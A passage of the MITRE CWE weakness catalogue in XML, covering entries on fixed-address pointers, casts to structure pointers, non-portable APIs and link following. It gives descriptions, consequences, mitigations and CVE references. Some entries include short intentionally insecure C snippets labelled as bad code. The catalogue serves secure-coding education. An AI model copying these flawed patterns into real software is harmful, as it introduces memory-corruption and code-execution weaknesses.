				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Explicit Call to
						Finalize</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="587" Name="Assignment of a Fixed Address to a Pointer" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software sets a pointer to a specific address other than
					NULL or 0.</Description_Summary>
				        <Extended_Description>
					          <Text>Using a fixed address is not portable because that address will probably
						not be valid in all environments or platforms. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>344</Relationship_Target_ID>
					          <!--Use of Invariant Value in Dynamically Changing Context-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>758</Relationship_Target_ID>
					          <!--Reliance on Undefined, Unspecified, or Implementation-Defined Behavior-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="C#"/>
					          <Language Language_Name="Assembly"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If one executes code at a known location, an attacker might be able to
							inject code there beforehand.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the code is ported to another platform or environment, the pointer
							is likely to be invalid and cause a crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The data at a known pointer location can be easily read or influenced
							by an attacker.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Never set a pointer to a fixed address.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code assumes a particular function will always be found at a
						particular address. It assigns a pointer to that address and calls the
						function.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int (*pt2Function) (float, char, char)=0x08040000;</Code>
							              <Code>int result2 = (*pt2Function) (12, 'a', 'b');</Code>
							              <Comment>// Here we can inject code to execute.</Comment>
						            </Block>
						            <Text> The same function may not always be found at the same memory address.
							This could lead to a crash, or an attacker may alter the memory at the
							expected address, leading to arbitrary code execution. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Take care when converting from pointer to integer or integer
						to pointer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT11-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Take care when converting from pointer to integer or integer
						to pointer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT11-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. end statement that assigns an address to a pointer</Text>
						            <Text>2. start statement that defines the address and the address is a
							literal value</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="588" Name="Attempt to Access Child of a Non-structure Pointer" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Casting a non-structure type to a structure type and accessing
					a field can lead to memory access errors or data
					corruption.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>704</Relationship_Target_ID>
					          <!--Incorrect Type Conversion or Cast-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>758</Relationship_Target_ID>
					          <!--Reliance on Undefined, Unspecified, or Implementation-Defined Behavior-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Adjacent variables in memory may be corrupted by assignments performed
							on fields after the cast.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Execution may end due to a memory access error.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The choice could be made to use a language
							that is not susceptible to these issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Review of type casting operations can identify locations where
							incompatible types are cast.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>struct foo</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>int i;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>int main(int argc, char **argv)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>*foo = (struct foo *)main;</Code>
								                <Code>foo-&gt;i = 2;</Code>
								                <Code>return foo-&gt;i;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="589" Name="Call to Non-ubiquitous API" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses an API function that does not exist on all
					versions of the target platform. This could cause portability problems or
					inconsistencies that allow denial of service or other
					consequences.</Description_Summary>
				        <Extended_Description>
					          <Text>Some functions that offer security features supported by the OS are not
						available on all versions of the OS in common use. Likewise, functions are
						often deprecated or made obsolete for security reasons and should not be
						used.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>474</Relationship_Target_ID>
					          <!--Use of Function with Inconsistent Implementations-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always test your code on any platform on which it is targeted to run
							on.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Test your code on the newest and oldest
							platform on which it is targeted to run on.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Develop a system to test for API functions that are not portable.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use deprecated or obsolete classes or
						methods</Mapped_Node_Name>
					          <Mapped_Node_ID>MET02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Maintain serialization compatibility during class
						evolution</Mapped_Node_Name>
					          <Mapped_Node_ID>SER00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>96</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Call to Limited
						API</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="59" Name="Improper Link Resolution Before File Access ('Link Following')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software attempts to access a file based on the filename,
					but it does not properly prevent that filename from identifying a link or
					shortcut that resolves to an unintended resource.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>21</Relationship_Target_ID>
					          <!--Pathname Traversal and Equivalence Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Link following vulnerabilities are Multi-factor Vulnerabilities (MFV).
						They are the combination of multiple elements: file or directory
						permissions, filename predictability, race conditions, and in some cases, a
						design limitation in which there is no mechanism for performing atomic file
						creation operations.</Text>
					          <Text>Some potential factors are race conditions, permissions, and
						predictability.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Prevalence="Sometimes" Operating_System_Class_Description="Windows"/>
					          <Operating_System_Class Prevalence="Often" Operating_System_Class_Description="UNIX"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Soft links are a UNIX term that is synonymous with simple shortcuts on
						windows based platforms.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Other_Notes>
				        <Note>
					          <Text>Windows simple shortcuts, sometimes referred to as soft links, can be
						exploited remotely since an ".LNK" file can be uploaded like a normal
						file.</Text>
				        </Note>
			      </Other_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>insecure temporary file</Term>
					          <Alternate_Term_Description>
						            <Text>Some people use the phrase "insecure temporary file" when referring to
							a link following weakness, but other weaknesses can produce insecure
							temporary files without any symlink involvement at all.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to traverse the file system to unintended
							locations and read or overwrite the contents of unexpected files. If the
							files are used for a security mechanism than an attacker may be able to
							bypass the mechanism.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-48.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
						            <Text>Denying access to a file can prevent an attacker from replacing that
							file with a link to a sensitive file. Ensure good compartmentalization
							in the system to provide protected areas that can be trusted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1386</Observed_Example_Reference>
					          <Observed_Example_Description> Some versions of Perl follows symbolic links when
						running with the -e option, which allows local users to overwrite arbitrary
						files via a symlink attack. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1178</Observed_Example_Reference>
					          <Observed_Example_Description> Text editor follows symbolic links when creating
						a rescue copy during an abnormal exit, which allows local users to overwrite
						the files of other users. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0217</Observed_Example_Reference>
					          <Observed_Example_Description> Antivirus update allows local users to create or
						append to arbitrary files via a symlink attack on a logfile.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0517</Observed_Example_Reference>
					          <Observed_Example_Description> Symlink attack allows local users to overwrite
						files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0689</Observed_Example_Reference>
					          <Observed_Example_Description> Window manager does not properly handle when
						certain symbolic links point to "stale" locations, which could allow local
						users to create or truncate arbitrary files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1879</Observed_Example_Reference>
					          <Observed_Example_Description>Second-order symlink
						vulnerabilities</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1880</Observed_Example_Reference>
					          <Observed_Example_Description>Second-order symlink
						vulnerabilities</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1916</Observed_Example_Reference>
					          <Observed_Example_Description>Symlink in Python
